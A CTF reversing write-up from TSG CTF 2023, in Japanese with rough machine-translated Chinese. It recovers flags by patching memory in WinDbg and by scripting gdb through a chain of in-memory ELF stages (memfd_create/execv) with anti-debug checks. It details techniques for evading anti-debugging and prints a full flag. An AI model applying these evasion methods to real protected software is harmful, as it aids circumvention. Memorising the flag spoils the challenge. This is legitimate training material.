E4 5A 22 3A BC D2 CD 80 BC 2A 49 F0 7F 97 A1 90 59 01 8D 25 43 D8 00 EA D8 4F E2 4E 2B 06 FD 7E 16 A9 92 C4 FD B5 6A 82 06 18 0C 0A B7 B8 29 8F 87 63 65 25 B9 7A D0 6E 30 3C F2 F7 C2 30 86")

inv_xor_shr12_bytearray(expected)
print("restored bitshift+xor: ", end="")
print(' '.join(map(lambda b:f"{b:02x}", expected)))

実行しました: 执行:

$ ./solve1.py
restored bitshift+xor: 0b cb d0 59 13 20 96 ca 39 97 0c ff 20 9d 66 86 67 55 2a 2a 06 ae d3 8e be a9 3b d8 26 19 ab a2 cb c0 3c c4 dc 54 7c b4 ae 12 f3 86 a8 51 f7 ad 2e bf d9 15 bf 91 eb e3 b1 72 13 bb 61 71 d8 63 9f c4 b3 d9 fa e4 9c 19 cd 86 e3 74 b6 d0 2c 6b 1e f7 fd 6d 0c 50 f0 cb 5f f3 3f 56 8a c6 4e 06 3a a3 fa 78 66 ad 45 53 ad 1b 2e d7 04 d3 bb 87 88 d4 32 a4 aa 55 5b a7 0e 05 8a a0 b8 e0 5a 3d b0 8a 1b 79 b0 2e 15 86 a2 77 90 a1 59 cb 61 08 f3 af c9 b6 4d 61 1a 93 32 0a 81 5e e4 e4 b2 0b e4 63 34 c5 1f e9 38 fd 48 a2 29 2b 18 07 fe d3 7b e4 1a 26 84 bf f5 17 11 fe 95 40 9a 73 24 b3 6c c4 34 80 8d 31 fd a9 4f 4b c8 b6 4d 3c 6b ff b7 44 7f fd 3f 1c 92 bf 74 58 33 e1 4a 46 90 94 90 74 5c f9 03 22 70 8a 86 01 f8 5f e6 41 5d 83 34 6d 88 1e 16 08 4d 62 57 86 9d 03 4e 65 38 31 08 62 55 5e 73 6d c4 52 f5 9e e9 24 9e 45 55 82 c4 de ed b6 87 1e 99 2f af 87 89 0d 84 7c c7 45 fd 61 63 22 ec 5e b9 fb 97 3e b4 f6 76 33 84 fa 15 d6 32 00 58 8b 4b 6c 9a 50 cd 1d fc 05 b4 78 96 e3 7d a0 ef b2 1d 01 ac f8 0f e6 c7 81 e4 7a 52 9d 43 82 45 b3 73 c8 c2 6d 10 b0 5b 6f e1 ee c7 45 c0 b9 a1 aa 9f fc 57 3b 36 72 eb ac 43 bb ac 0e ad 62 4f 43 66 d7 1c 5e de b8 30 29 dd 50 72 3f 38 dd be 73 69 f2 b7 0e 64 42 f4 73 40 03 9d c8 28 f8 d6 25 16 35 c5 5f f1 4a 61 50 56 fe f8 49 c0 d0 a5 4e 10 a7 14 c5 4b e9 ca b8 e3 de db 76 22 5b ea 0a 31 07 bf 52 db a6 e9 88 13 4d 93 1d 99 3f dc 61 de cd 00 08 48 2b 26 66 9d a1 e2 28 17 67 a1 4e d8 00 48 2d 5a 5f d1 fb 09 fd 12 cd b6 fd f1 56 b3 6a c4 6f 94 c6 a8 2c ba 29 37 8f 8b 80 5e be 77 d0 48 6e e2 e5 7d a1 38 86
$

ここで求めた結果を、デバッガー経由で「暗号化」させることで復号します。CFF Explorerで本問題のバイナリを確認すると、Optional HeaderDllCharacteristics箇所でDLL can moveが有効な状態でした。その状態はバイナリのASLRが有効であることを表します。ASLRが有効だとブレークポイント設置が大変なので、CFF ExplorerでDLL can moveを無効に設定して、別途保存しました。
此处获得的结果通过调试器进行“加密”来解密。 当我在 CFF Explorer 中检查二进制文件时,我发现它在 DLL can move Optional Header 中启用 DllCharacteristics 了。 此状态表示二进制 ASLR 有效。 由于启用 ASLR 时很难设置断点,因此我在 CFF Explorer DLL can move 中禁用了它并单独保存了它。

WinDbgで、ASLRを無効化したバイナリを開いて、以下のコマンドで確認しました。入力には適当にtestを与えました:

0:000> bu 0x0000000140001B59
0:000> g
Breakpoint 0 hit
beginners_rev_2023_Removed_DllCanMove+0x1b59:
00000001`40001b59 e882f5ffff      call    beginners_rev_2023_Removed_DllCanMove+0x10e0 (00000001`400010e0)
0:000> db @r8
00000000`005ebe40  42 22 74 74 00 00 00 00-00 00 00 00 00 00 00 00  B"tt............
00000000`005ebe50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebea0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebeb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> eb @r8 0b cb d0 59 13 20 96 ca 39 97 0c ff 20 9d 66 86 67 55 2a 2a 06 ae d3 8e be a9 3b d8 26 19 ab a2 cb c0 3c c4 dc 54 7c b4 ae 12 f3 86 a8 51 f7 ad 2e bf d9 15 bf 91 eb e3 b1 72 13 bb 61 71 d8 63 9f c4 b3 d9 fa e4 9c 19 cd 86 e3 74 b6 d0 2c 6b 1e f7 fd 6d 0c 50 f0 cb 5f f3 3f 56 8a c6 4e 06 3a a3 fa 78 66 ad 45 53 ad 1b 2e d7 04 d3 bb 87 88 d4 32 a4 aa 55 5b a7 0e 05 8a a0 b8 e0 5a 3d b0 8a 1b 79 b0 2e 15 86 a2 77 90 a1 59 cb 61 08 f3 af c9 b6 4d 61 1a 93 32 0a 81 5e e4 e4 b2 0b e4 63 34 c5 1f e9 38 fd 48 a2 29 2b 18 07 fe d3 7b e4 1a 26 84 bf f5 17 11 fe 95 40 9a 73 24 b3 6c c4 34 80 8d 31 fd a9 4f 4b c8 b6 4d 3c 6b ff b7 44 7f fd 3f 1c 92 bf 74 58 33 e1 4a 46 90 94 90 74 5c f9 03 22 70 8a 86 01 f8 5f e6 41 5d 83 34 6d 88 1e 16 08 4d 62 57 86 9d 03 4e 65 38 31 08 62 55 5e 73 6d c4 52 f5 9e e9 24 9e 45 55 82 c4 de ed b6 87 1e 99 2f af 87 89 0d 84 7c c7 45 fd 61 63 22 ec 5e b9 fb 97 3e b4 f6 76 33 84 fa 15 d6 32 00 58 8b 4b 6c 9a 50 cd 1d fc 05 b4 78 96 e3 7d a0 ef b2 1d 01 ac f8 0f e6 c7 81 e4 7a 52 9d 43 82 45 b3 73 c8 c2 6d 10 b0 5b 6f e1 ee c7 45 c0 b9 a1 aa 9f fc 57 3b 36 72 eb ac 43 bb ac 0e ad 62 4f 43 66 d7 1c 5e de b8 30 29 dd 50 72 3f 38 dd be 73 69 f2 b7 0e 64 42 f4 73 40 03 9d c8 28 f8 d6 25 16 35 c5 5f f1 4a 61 50 56 fe f8 49 c0 d0 a5 4e 10 a7 14 c5 4b e9 ca b8 e3 de db 76 22 5b ea 0a 31 07 bf 52 db a6 e9 88 13 4d 93 1d 99 3f dc 61 de cd 00 08 48 2b 26 66 9d a1 e2 28 17 67 a1 4e d8 00 48 2d 5a 5f d1 fb 09 fd 12 cd b6 fd f1 56 b3 6a c4 6f 94 c6 a8 2c ba 29 37 8f 8b 80 5e be 77 d0 48 6e e2 e5 7d a1 38 86
0:000> r @r9
r9=000000000014fcc0
0:000> p
beginners_rev_2023_Removed_DllCanMove+0x1b5e:
00000001`40001b5e 488d442448      lea     rax,[rsp+48h]
0:000> db 0x000000000014fcc0
00000000`0014fcc0  21 67 03 26 e0 d1 7c 79-c7 00 58 24 f7 33 6a 64  !g.&..|y..X$.3jd
00000000`0014fcd0  b8 33 58 47 64 01 36 37-27 98 e1 59 1b c7 72 5f  .3XGd.67'..Y..r_
00000000`0014fce0  c4 75 69 57 15 f4 75 79-83 22 79 56 34 90 31 5f  .uiW..uy."yV4.1_
00000000`0014fcf0  27 98 e1 59 1b c7 72 5f-c4 75 69 57 15 f4 75 79  '..Y..r_.uiW..uy
00000000`0014fd00  83 42 dc 01 9b f6 59 6c-85 57 28 c5 31 4c 33 61  .B....Yl.W(.1L3a
00000000`0014fd10  95 f6 49 8f 87 78 68 31-98 62 58 63 d3 47 6d 37  ..I..xh1.bXc.Gm7
00000000`0014fd20  e4 75 7d 00 00 00 00 00-00 00 00 00 00 00 00 00  .u}.............
00000000`0014fd30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

ここで復号した結果を、改めて「d ^= (d>>12)相当の加工」の逆演算を行うコードを書きました:
我写了一个代码,在这里再次对解码结果执行“ d ^= (d>>12) 等效处理”的反向操作:

#!/usr/bin/env python3

import struct
import z3

# `x ^ (x >> 12)`の逆関数です。
def inv_xor_shr12(x):
    s = z3.Solver()
    v = z3.BitVec("v", 64)
    s.add(v ^ (z3.LShR(v, 12)) == x)
    if s.check() == z3.sat:
        return s.model()[v].as_long()
    raise Exception("Can not satisfied")

def inv_xor_shr12_bytearray(b):
    for i in range(len(b) // 8):
        v = struct.unpack("<Q", b[i*8:(i+1)*8])[0]
        # print(f"{i=}, {v=:16x}")
        original = inv_xor_shr12(v)
        b[i*8:(i+1)*8] = struct.pack("<Q", original)

# WinDbgで確認したやつ
modified_flag = bytearray.fromhex("""
21 67 03 26 e0 d1 7c 79 c7 00 58 24 f7 33 6a 64
b8 33 58 47 64 01 36 37 27 98 e1 59 1b c7 72 5f
c4 75 69 57 15 f4 75 79 83 22 79 56 34 90 31 5f
27 98 e1 59 1b c7 72 5f c4 75 69 57 15 f4 75 79
83 42 dc 01 9b f6 59 6c 85 57 28 c5 31 4c 33 61
95 f6 49 8f 87 78 68 31 98 62 58 63 d3 47 6d 37
e4 75 7d 00 00 00 00 00 00 00 00 00 00 00 00 00
""" )
# print(modified_flag.hex())
inv_xor_shr12_bytearray(modified_flag)
print(modified_flag.rstrip(b"\x00").decode())

実行しました: 执行:

$ ./solve2.py
TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}
$

フラグを入手できました: TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r} 我能够得到标志: TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}

leet内容はYou would understand how to decrypt arc4 and how to decrypt the leaked safe linking pointerだと思います。RC4はともかくとして、leaked-safe-linking-pointerとは一体……?
我认为 You would understand how to decrypt arc4 and how to decrypt the leaked safe linking pointer leet 内容是. 撇开 RC4 不谈,泄漏的安全链接指针到底是什么……?

この問題はbeginnerかつeasyな問題の中で、もっとも正解チームが少ない問題です。果たしてこの問題は「beginner」なのでしょうか……?とはいえReversingジャンルでは、一般的な技術とCTF特有の技術を区別することは中々難しそうです。
beginner easy 这是正确答案最少的问题。 这个问题真的是“初学者”吗……? 然而,在 Reversing 类型中,似乎很难区分通用技术和 CTF 特定技术。

なお、最初はWinDbgではなくx64dbgで確認しようと思っていました。しかしx64dbgではメモリ中の内容改ざんが大変そうでした。具体的には、指定Hex文字列で指定アドレスから一気に改ざんしたかったのですが、1バイト単位でのみ改ざんする画面だけ見つかりました。多分x64dbgでも探せばコマンドで代用できるのでしょうけれど、WinDbgでやる方法は知っていたのでWinDbgを使いました。
起初,我考虑使用 x64dbg 而不是 WinDbg 进行检查。 但是,使用 x64dbg 时,似乎很难篡改内存中的内容。 具体来说,我想从指定的地址一次篡改指定的十六进制字符串,但我只发现了一个一次只篡改一个字节的屏幕。 如果您寻找 x64dbg,也许您可以用命令替换它,但我知道如何使用 WinDbg 来做到这一点,所以我使用了 WinDbg。

また、本問題に取り組んでいる途中、Bing Chatに「この共通鍵暗号アルゴリズムはなんですか」と聞いていました。Bing Chatが「Blowfishである可能性があります」と答えたのでしばらく明後日の方向へ突撃していました。ツールに振り回されちゃだめですね……。
另外,在解决这个问题时,我问 Bing Chat,“这个对称密钥加密算法是什么? Bing Chat回答说,“可能是河豚”,所以我后天朝后天的方向冲了一会儿。 不要被工具所左右……

[Reversing, easy] T the weakest (18 team solved, 215 points)
[倒车,简单]T最弱(18队解决,215分)

T「グアアアア」 S「Tがやられたようだな…」 G「フフフ…奴は百天王の中でも最弱…」 C「人間ごときに負けるとはTSGerの面汚しよ…」

ソードマスター某な問題文です。配布ファイルとして、問題本体のt_the_weakestがありました:
剑主是某句问题句。 作为分发文件, t_the_weakest 存在一个问题正文:

$ file *
t_the_weakest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), BuildID[sha1]=4890da9fdfbb0b21eb3cfb1a9974eb32558f4e51, for GNU/Linux 3.2.0, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header
$

IDAへ読み込ませると、実質main関数1つだけのようでした。早速逆コンパイルを試みると、Decompilation failure: 10A0: stack frame is too bigエラーで失敗しました。実際main関数は以下の内容で、スタックローカル変数を0x12C080バイト分確保していました:
当我将它加载到 IDA 中时,似乎实际上只有一个 main 功能。 我立即尝试对其进行反编译,但失败并出现 Decompilation failure: 10A0: stack frame is too big 错误。 实际上,该 main 函数使用以下内容分配堆栈局部变量的 0x12C080 字节:

LOAD:00000000000010A0 ; int __fastcall main(int, char **, char **)
LOAD:00000000000010A0 main proc near
LOAD:00000000000010A0
LOAD:00000000000010A0 s= byte ptr -12C08Bh
LOAD:00000000000010A0 bufSize1228883= byte ptr -12C06Bh
LOAD:00000000000010A0 var_18= byte ptr -18h
LOAD:00000000000010A0
LOAD:00000000000010A0 push    r12
LOAD:00000000000010A2 push    rbp
LOAD:00000000000010A3 push    rbx
LOAD:00000000000010A4 sub     rsp, 12C080h

main関数では以下のことを行っていました:

  1. argc2であること、すなわちコマンドライン引数が1個与えられていることを検証します。また、コマンドライン引数の1文字目がTであることも検証します。検証失敗時はputs("ng"); exit(1);な関数を呼び出して終了します。
  2. グローバル変数内容をローカル変数へコピーし、線形合同法か何かでXORしてELF形式を復号します。
  3. memfd_createシステムコールでファイルディスクリプタを作成します。
  4. write関数で、生成したファイルディスクリプタへ復号したELF形式を書き込みます。
  5. sprintf関数で"/proc/self/fd/%d"形式でパスを作成します。
  6. execv関数を使用して、復号したELF形式を実行します。その際コマンドライン引数を1文字後ろへずらします。

安全な環境で試しに実行してみました:

$ strace ./t_the_weakest 'TSGCTF{DUMMY}' 2>&1 | grep -e '^read' -e 'write' -e 'execve'
execve("./t_the_weakest", ["./t_the_weakest", "TSGCTF{DUMMY}"], 0x7ffdce594b98 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\21\0\0\0\0\0\0"..., 1228883) = 1228883
execve("/proc/self/fd/3", ["./t_the_weakest", "SGCTF{DUMMY}"], 0x7ffe41aa9e00 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\21\0\0\0\0\0\0"..., 1216595) = 1216595
execve("/proc/self/fd/3", ["./t_the_weakest", "GCTF{DUMMY}"], 0x7ffd4a881b90 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1204307) = 1204307
execve("/proc/self/fd/3", ["./t_the_weakest", "CTF{DUMMY}"], 0x7fffb5931020 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\21\0\0\0\0\0\0"..., 1192019) = 1192019
execve("/proc/self/fd/3", ["./t_the_weakest", "TF{DUMMY}"], 0x7ffe46acd6a0 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1179731) = 1179731
execve("/proc/self/fd/3", ["./t_the_weakest", "F{DUMMY}"], 0x7ffdad571b90 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1167443) = 1167443
execve("/proc/self/fd/3", ["./t_the_weakest", "{DUMMY}"], 0x7ffea5bb9500 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\21\0\0\0\0\0\0"..., 1155155) = 1155155
execve("/proc/self/fd/3", ["./t_the_weakest", "DUMMY}"], 0x7fff19edcf00 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(1, "ng\n", 3ng
$

どうやら、1つのELFでフラグを1文字検証するようでした。
显然,它似乎通过一个 ELF 中的一个字符来验证标志。

以下の方針でソルバーを書きました: 我用以下策略编写了求解器:

  1. gdb操作を自動化すれば捗りそう。 自动化 gdb 操作似乎取得了进展。
  2. write関数にブレークポイントを貼って、書き込もうとしている内容を別途ファイル保存させれば、1段階ずつフラグを検証できそう。
    write 如果在函数上放置断点并将尝试写入的内容保存到单独的文件中,则可以一次一步地验证标志。
  3. 何か困ったことがあればその都度対応しよう。 如果您有任何问题,让我们在发生时处理它们。

余談: gdbはシンボルの読み込み前でもブレークポイントを設定できる
旁注:gdb 甚至可以在加载符号之前设置断点

ソルバーを書く過程で、gdb関連の困り事が起こりました。具体的には「write関数にブレークポイントを貼」る方法でした。gdb-pedaを導入した環境でgdbを触っていたのですが、ある程度実行が進むまではwrite関数へブレークポイントを貼れないと勘違いしていました:
在编写求解器的过程中,我遇到了一个与 GDB 相关的问题。 具体来说,这是一种“在 write 函数上放置断点”的方法。 我在安装了 gdb-peda 的环境中玩 gdb,但我错误地认为在 write 函数执行到一定程度之前,我不能在函数上放置断点:

$ gdb -q ./t_the_weakest                                  [/mnt/d/Documents/work/ctf/TSG_CTF_2023/t_the_weakest]
Reading symbols from ./t_the_weakest...
(No debugging symbols found in ./t_the_weakest)
gdb-peda$ starti
Starting program: /mnt/d/Documents/work/ctf/TSG_CTF_2023/t_the_weakest/t_the_weakest

Program stopped.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
(色々表示省略)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007ffff7fe3290 in _start () from /lib64/ld-linux-x86-64.so.2
gdb-peda$ b write
Function "write" not defined.
gdb-peda$

実は生のgdbでは、「将来、共有ライブラリが読み込まれたときにブレークポイントを設置できる」機能が有効です:
实际上,在原始 gdb 中,启用了“将来加载共享库时可以设置断点”功能:

$ gdb -q -n ./t_the_weakest
Reading symbols from ./t_the_weakest...
(No debugging symbols found in ./t_the_weakest)
(gdb) starti
Starting program: /mnt/d/Documents/work/ctf/TSG_CTF_2023/t_the_weakest/t_the_weakest

Program stopped.
0x00007ffff7fe3290 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) b write
Function "write" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (write) pending.
(gdb)

当該機能の有効無効はset breakpoint pending onコマンドで切り替えられるようです。ソルバー実装時はそのことを知らず、変な方向にハマりまくっていました。
似乎可以通过 set breakpoint pending on 命令切换此功能的启用或禁用。 当我实现求解器时,我并不知道这一点,我沉迷于一个奇怪的方向。

対処が必要な項目: getenv("LINES")getlines("COLUMNS")
需要解决的项目: getenv("LINES") , getlines("COLUMNS")

22段階目ぐらいのELFの話です。ちなみに当該ELFのmain関数プロローグはsub rsp, 0EA080hであり、最初のELFよりも使用スタックサイズが小さくなったからか、問題なく逆コンパイルできました。ともかく、そのELFでは以下の処理を行っていました:
我说的是ELF的第22级。 顺便说一句,ELF main 的函数 prolog 是 sub rsp, 0EA080h ,我能够毫无问题地对其进行反编译,可能是因为使用的堆栈大小比第一个 ELF 小。 无论如何,ELF 做了以下事情:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rbx
  char *v4; // rcx
  unsigned int v5; // ebx
  char s[32]; // [rsp+Dh] [rbp-EA08Bh] BYREF
  char buf[958547]; // [rsp+2Dh] [rbp-EA06Bh] BYREF
  char v9; // [rsp+EA080h] [rbp-18h] BYREF

  v3 = *a2[1];
  qmemcpy(buf, &unk_2026, (unsigned __int64)&unk_EA053);
  if ( ((32 * (v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17))) ^ v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17)) != 28691816
    || getenv("LINES")
    || getenv("COLUMNS") )
  {
    PrintNgAndExit();
  }
  v4 = buf;
  do
  {
    *v4++ ^= (272475379 * v3 + 313924224) % 1000000403;
    v3 = (272475379 * v3 + 313924224) % 1000000403;
  }
  while ( &v9 != v4 );
  v5 = syscall(319LL, "", 3LL);
  write(v5, buf, (size_t)&unk_EA053);
  sprintf(s, "/proc/self/fd/%d", v5);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

すなわち、フラグの1文字を正解する以外にも、getenv("LINES")getenv("COLUMNS")にNULLを返させる必要があります。ソルバーから環境変数に介入する方法を調べると、以下の方法がありそうでした:
换句话说,除了正确回答标志的一个字符外, getenv("LINES") 还需要 getenv("COLUMNS") 具有并返回 NULL。 当我从求解器中查找如何干预环境变量时,我发现似乎有以下方法:

  • pwn.process関数でgdbコマンドを起動する際に、環境変数からLINESCOLUMNSを削除しておく。
    pwn.process 在函数中调用 gdb 命令时,请从 LINES COLUMNS 环境变量中删除 和。
  • ELFデバッグ中のgdb対話環境で、unset environment LINESコマンドを使って削除する。
    在 ELF 调试期间的 gdb 交互式环境中,使用 unset environment LINES 命令删除。

ただ試した限りではどちらの方法でも、getenv("LINES")"60"を返しました。もしかしたら特別扱いされる環境変数か何かなにかもしれません。ひとまずものすごく困ったので、getenv関数へもブレークポイントを設定して、戻り値をすべてNULLへ改ざんさせることにしました。
但是,据我尝试过, getenv("LINES") 这两种方法都返回了. "60" 也许它是一个环境变量,或者是一些得到特殊处理的东西。 目前,我遇到了很多麻烦,所以我决定在 getenv 函数上设置一个断点,并将所有返回值篡改为 NULL。

対処が必要な項目: malloc関数の戻り値範囲の制約
所需操作: malloc 函数返回范围约束

26段目くらいのELFでは以下の処理を行っていました:
大约第26阶段的ELF做了以下事情:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  char *v4; // rcx
  unsigned int v5; // ebx
  char s[32]; // [rsp+5h] [rbp-DE093h] BYREF
  char buf[909403]; // [rsp+25h] [rbp-DE073h] BYREF
  char v9; // [rsp+DE080h] [rbp-18h] BYREF

  if ( (_BYTE *)malloc(0x10uLL) - (_BYTE *)&unk_E2061 <= (__int64)&unk_20000
    || (v3 = *a2[1],
        qmemcpy(buf, &unk_2018, (unsigned __int64)&unk_DE05B),
        ((32 * (v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17))) ^ v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17)) != 27036706) )
  {
    PrintNgAndExit();
  }
  v4 = buf;
  do
  {
    v3 = (515278356 * v3 + 409101434) % 1000000021;
    *v4++ ^= v3;
  }
  while ( &v9 != v4 );
  v5 = syscall(319LL, "", 3LL);
  write(v5, buf, (size_t)&unk_DE05B);
  sprintf(s, "/proc/self/fd/%d", v5);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

malloc関数の戻り値を検証しています。IDAで見る限りですと、逆コンパイル画面でも逆アセンブル画面でも、(long long)malloc(0x10) - 0xE2061 > 0x20000を満たすように改ざんすればいいように見えました。例えばmalloc関数の戻り値を0x12345678あたりにでも改ざんすれば十分なように見えます。しかしgdbで動作確認すると、実際は以下の処理を行っていました:
malloc 验证函数的返回值。 就 IDA 而言,似乎反编译和反汇编屏幕都可以被篡改以满足 (long long)malloc(0x10) - 0xE2061 > 0x20000 。 例如,篡改 malloc 函数的返回值 0x12345678 似乎就足够了。 但是,当我使用 gdb 检查操作时,它实际上进行了以下处理:

   0x5555555550c3:      call   0x555555555060
=> 0x5555555550c8:      lea    rdx,[rip+0xe0f92]        # 0x555555636061
   0x5555555550cf:      sub    rax,rdx
   0x5555555550d2:      cmp    rax,0x20000
   0x5555555550d8:      jg     0x5555555550e1

つまり、実は(long long)malloc(0x10) - 0x555555636061E2061 > 0x20000を満たす必要があることが分かりました(実際はripレジスタからの間接アドレッシングであるため、ELFが読み込まれるアドレスにより変化します)。そのため、malloc関数の戻り値を0x12345678に改ざんする方法では足らず、もっと大きな値に改ざんする必要がありまた。
换句话说,事实证明,这实际上是需要 (long long)malloc(0x10) - 0x555555636061E2061 > 0x20000 满足的(实际上,它是来自 rip 寄存器的间接寻址,因此它取决于读取ELF的地址)。 因此,篡改 malloc 函数的返回值是不够的, 0x12345678 需要篡改更大的值。

その他、malloc関数は、どうやらputs関数からも呼び出されるようです。そのため、あらゆるmalloc関数呼び出しについて戻り値を改ざんしてしまうと、puts関数でアクセス違反を起こします。ひとまずmalloc関数の引数が0x10かどうかで判定することで、アクセス違反は起こりませんでした。
此外, malloc 函数显然也是从 puts 函数调用的。 因此,篡改任何函数调用的返回值都会导致 puts 函数中 malloc 出现访问冲突。 暂时,通过确定 0x10 malloc 函数参数是否为 ,未发生访问冲突。

対処が必要な項目: ptrace関数等を使ったアンチデバッグ
需要解决的项目: ptrace 使用函数进行反调试等

59段目くらいのELFでは以下の処理を行っていました:
ELF在大约59阶段做了以下事情:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v3; // al
  __int64 v4; // rdx
  char *v5; // rcx
  unsigned int ppid; // ebp
  unsigned int v7; // ebp
  char s[32]; // [rsp+Dh] [rbp-7B0BBh] BYREF
  char buf[503939]; // [rsp+2Dh] [rbp-7B09Bh] BYREF
  char v11; // [rsp+7B0B0h] [rbp-18h] BYREF

  v3 = *a2[1];
  qmemcpy(buf, &unk_2018, (unsigned __int64)&unk_7B083);
  if ( v3 != 'h' )
    goto locPrintNgAndExit;
  v4 = 104LL;
  v5 = buf;
  do
  {
    v4 = (720938020 * v4 + 82437315) % 1000000403;
    *v5++ ^= v4;
  }
  while ( v5 != &v11 );
  ppid = getppid();
  if ( ptrace(PTRACE_GETFPREGS|0x140, 0LL, 0LL, 0LL) != -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) == -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) != -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) != -1 )
  {
locPrintNgAndExit:
    PrintNgAndExit();
  }
  kill(ppid, SIGSTOP);
  waitpid(ppid, 0LL, 0);
  ptrace(PTRACE_DETACH, ppid, 0LL, 0LL);
  kill(ppid, SIGCONT);
  v7 = syscall(319LL, "", 3LL);
  write(v7, buf, (size_t)&unk_7B083);
  sprintf(s, "/proc/self/fd/%d", v7);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

getppid関数で親プロセスのIDを取得して、ptrace関数でアタッチ等できるか検証したり、kill関数で停止させようとしています。これらの関数すべてでブレークさせて処理や戻り値を改ざんするのは大変なので、適当なプロセスを起動して、getppid関数の戻り値を新規プロセスのIDへ改ざんする方針にしました。
getppid 我正在尝试在函数中获取父进程的 ID,并验证它是否可以附加到函数等中,或在 kill 函数中 ptrace 停止它。 由于很难破坏所有这些函数并篡改进程和返回值,因此我们决定启动一个适当的进程,并将 getppid 函数的返回值伪造为新进程的 ID。

最終的なソルバー 最终求解器

最終的なソルバーです: 最终的求解器是:

#!/usr/bin/env python3

import pwn
import sys
import string
import os
import subprocess

# pwn.context.log_level = "DEBUG"

def extract_core(elf_path:str, next_elf_path_to_save:str, flag_to_input:str)->bool:
    prompt = b"(gdb)" # 環境に合わせて定義調整してください
    # prompt = b"gdb-peda$"
    with pwn.process(["gdb", "-q", "-n", "--args", "./"+elf_path, flag_to_input]) as io:
        def extract_register_value(register_name:bytes)->int:
            io.sendlineafter(prompt, b"info register %s" % register_name)
            line = io.recvline_contains(register_name)
            return int(line.split()[1], 16)

        # main関数へbreakを貼る
        io.sendlineafter(prompt, b"set breakpoint pending on") # peda使用環境は自動的にoffにしているかもしれない
        io.sendlineafter(prompt, b"b __libc_start_main")
        io.sendlineafter(prompt, b"run") # 入力フラグはgdb起動時の--argsコマンドで指定済み(runコマンドで指定しようとすると各種記号のエスケープが大変)
        io.sendlineafter(prompt, b"b *$rdi") # main関数へbreakポイントを貼る
        io.sendlineafter(prompt, b"continue")

        # 現在main関数、ようやく色々ブレークポイントを貼れたりするはず
